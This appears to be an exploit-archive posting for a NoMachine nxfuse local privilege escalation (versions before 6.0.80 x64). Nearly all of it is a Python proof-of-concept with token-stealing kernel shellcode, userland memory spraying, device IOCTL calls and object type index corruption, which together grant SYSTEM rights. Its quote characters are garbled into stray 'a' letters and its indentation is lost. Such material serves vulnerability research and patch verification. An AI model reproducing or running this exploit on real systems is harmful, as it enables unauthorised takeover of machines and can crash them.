NoMachine nxfuse Privilege Escalation

NoMachine versions prior to 6.0.80 (x64) suffer from an nxfuse privilege escalation vulnerability.


MD5 | 8a5db7fa6bd183e57b076f19b78e3126

from ctypes import *

from ctypes.wintypes import *

import struct

import sys

import os



MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

STATUS_INVALID_HANDLE = 0xC0000008



shellcode_len = 90

s = aa

s += a\x65\x48\x8B\x04\x25\x88\x01\x00a #mov rax, [gs:0x188]

s += a\x00a

s += a\x48\x8B\x40\x70a #mov rax, [rax + 0x70]

s += a\x48\x8B\x98\x90\x02\x00\x00a #mov rbx, [rax + 0x290]

s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188]

s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188

s += a\x48\x39\x98\x80\x01\x00\x00a #cmp [rax + 0x180], rbx

s += a\x75\xEAa #jne Loop1

s += a\x48\x89\xC1a #mov rcx, rax

s += a\xBA\x04\x00\x00\x00a #mov rdx, 0x4

s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188]

s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188

s += a\x48\x39\x90\x80\x01\x00\x00a #cmp [rax + 0x180], rdx

s += a\x75\xEAa #jne Loop2

s += a\x48\x8B\x80\x08\x02\x00\x00a #mov rax, [rax + 0x208]

s += a\x48\x89\x81\x08\x02\x00\x00a #mov [rcx + 0x208], rax

s += a\x48\x31\xC0a #xor rax,rax

s += a\xc3a #ret

shellcode = s





aa

* Convert a python string to PCHAR

@Param string a the string to be converted.

@Return a a PCHAR that can be used by winapi functions.

aa

def str_to_pchar(string):

pString = c_char_p(string)



return pString



aa

* Map memory in userspace using NtAllocateVirtualMemory

@Param address a The address to be mapped, such as 0x41414141.

@Param size a the size of the mapping.

@Return a a tuple containing the base address of the mapping and the size returned.

aa

def map_memory(address, size):

temp_address = c_void_p(address)

size = c_uint(size)



proc = windll.kernel32.GetCurrentProcess()

nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),

byref(temp_address), 0,

byref(size),

MEM_RESERVE|MEM_COMMIT,

PAGE_EXECUTE_READWRITE)



#The mapping failed, let the calling code know

if nt_status != 0:

return (-1, c_ulong(nt_status).value)

else:

return (temp_address, size)



aa

* Write to some mapped memory.

@Param address a The address in memory to write to.

@Param size a The size of the write.

@Param buffer a A python buffer that holds the contents to write.

@Return a the number of bytes written.

aa

def write_memory(address, size, buffer):

temp_address = c_void_p(address)

temp_buffer = str_to_pchar(buffer)

proc = c_void_p(windll.kernel32.GetCurrentProcess())

bytes_ret = c_ulong()

size = c_uint(size)



windll.kernel32.WriteProcessMemory(proc,

temp_address,

temp_buffer,

size,

byref(bytes_ret))



return bytes_ret



aa

* Get a handle to a device by its name. The calling code is responsible for

* checking the handle is valid.

@Param device_name a a string representing the name, ie \\\\.\\nxfs-neta|.

aa

def get_handle(device_name):

return windll.kernel32.CreateFileA(device_name,

GENERIC_READ | GENERIC_WRITE,

0,

None,

OPEN_EXISTING,

0,

None)



def main():

print a[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!a



print a[+] Mapping the regions of memory we requirea



#Try and map the first 3 critical regions, if any of them fail we exit.

address_1, size_1 = map_memory(0x14c00000, 0x1f0000)

if address_1 == -1:

print a[x] Mapping 0x610000 failed with error %xa %size_1

sys.exit(-1)



address_2, size_2 = map_memory(0x41414141, 0x100000)

if address_2 == -1:

print a[x] Mapping 0x41414141 failed with error %xa %size_2

sys.exit(-1)



address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)

if address_3 == -1:

print a[x] Mapping 0xbad0b0b0 failed with error %xa %size_3

sys.exit(-1)



#this will hold our shellcode

sc_address, sc_size = map_memory(0x42424240, 0x1000)

if sc_address == -1:

print a[x] Mapping 0xbad0b0b0 failed with error %xa %sc_size

sys.exit(-1)



#Now we write certain values to those mapped memory regions

print a[+] Writing data to mapped memorya|a

#the first write involves storing a pointer to our shellcode

#at offset 0xbad0b0b0+0xa8

buff = a\x40BBBa #0x42424240

bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)



write_memory(0x42424240, shellcode_len, shellcode)



#the second write involves spraying the first memory address with pointers

#to our second mapped memory.

print a\t spraying unitialised pointer memory with userland pointersa



buff = a\x40AAAa #0x0000000041414140

for offset in range(4, size_1.value, 8):

temp_address = address_1.value + offset

write_memory(temp_address, 4, buff)



#the third write simply involves setting 0x41414140-0x18 to 0x5

#this ensures the kernel creates a handle to a TOKEN object.

print a[+] Setting TOKEN type index in our userland pointera

buff = a\x05a

temp_address = 0x41414140-0x18

write_memory(temp_address, 1, buff)



print a[+] Writing memory finished, getting handle to first devicea

handle = get_handle(a\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a)



if handle == STATUS_INVALID_HANDLE:

print a[x] Couldnat get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a

sys.exit(-1)



#if we have a valid handle, we now need to send ioctl 0x222014

#this creates a new device for which ioctl 0x222030 can be sent

in_buff = struct.pack(a<Ia, 0x190) + struct.pack(a<Ia, 0x1) + aAAa

in_buff = str_to_pchar(in_buff)

out_buff = str_to_pchar(aAa*0x90)

bytes_ret = c_ulong()



ret = windll.kernel32.DeviceIoControl(handle,

0x222014,

in_buff,

0x10,

out_buff,

0x90,

byref(bytes_ret),

0)

if ret == 0:

print a[x] IOCTL 0x222014 faileda

sys.exit(-1)



print a[+] IOCTL 0x222014 returned successa



#get a handle to the next device for which we can send the vulnerable ioctl.

print a[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a

handle = get_handle(a\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a)



if handle == STATUS_INVALID_HANDLE:

print a[x] Couldnat get handlea

sys.exit(-1)



#this stage involves attempting to manipulate the Object argument on the stack.

#we found that making repeated calles to CreateFileA increased this value.

print a[+] Got handle to second device, now generating a load more handlesa

for i in range(0, 900000):

temp_handle = get_handle(a\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a)



#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.

#we donat care about the return code.

print a[+] Sending IOCTL 0x222030a

in_buff = str_to_pchar(aAa*0x30)

out_buff = str_to_pchar(aBa*0x30)



windll.kernel32.DeviceIoControl(handle,

0x222030,

in_buff,

0x30,

out_buff,

0x30,

byref(bytes_ret),

0)



#finally, we confuse the kernel by setting our object type index to 1.

#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)

print a[+] Setting our object type index to 1a

temp_address = 0x41414140-0x18

write_memory(temp_address, 1, a\x01a)



#The process should now exit, where the kernel will attempt to clean up our dodgy handle

#This will cause a|..



if __name__ == a__main__a:

main()


Related Posts